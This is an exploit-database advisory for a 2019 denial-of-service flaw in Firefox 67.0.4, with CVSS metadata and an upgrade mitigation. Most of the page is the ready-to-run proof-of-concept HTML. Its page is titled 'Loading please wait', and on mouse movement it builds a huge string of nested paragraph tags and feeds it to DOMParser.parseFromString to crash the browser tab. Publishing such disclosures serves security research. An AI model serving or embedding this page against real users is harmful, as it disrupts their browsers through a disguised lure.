DOMParser Denial of Service on Firefox 67.0.4

vendor:

Firefox

by:

Tejas Ajay Naik

7.5

CVSS

HIGH

Denial of Service

400

CWE

Product Name: Firefox

Affected Version From: 67.0.4

Affected Version To: 67.0.4

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Linux x86, Windows x64 1803

2019

DOMParser Denial of Service on Firefox 67.0.4

Passing a huge string as an argument to DOMParser.parseFromString will crash the tab in Firefox version 67.0.4.

Mitigation:

Upgrade to the latest version of Firefox

Source

Exploit-DB raw data:

<!--
  Exploit Title: DOMParser Denial of Service on Firefox 67.0.4 

  Date: 09/07/2019

  Description: pass a huge string as an argument to DOMParser.parseFromString will crash the tab in Firefox version 67.0.4.

  Exploit Author:Tejas Ajay Naik  

  Vendor Homepage: 

  Software Link: https://ftp.mozilla.org/pub/firefox/releases/

  Version: 67.0.4

  Tested On: Linux x86,Windows x64 1803  

  CVE:
-->
<!DOCTYPE html>
<head>
  <title>
    Loading please wait
  </title>
  
  <script>
    function MyFun() {
    
    var text = [];
    for(var i=0 ;i<300 ; ++i)
      text += "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>";
      var domparser = new DOMParser();
      var doc = domparser.parseFromString(text,"application/xhtml+xml");
  }
  </script>

</head>

<body>
  <input type="button" onmousemove="MyFun()" value="click"/>
  <p id="demo"></p>
</body>  
</html>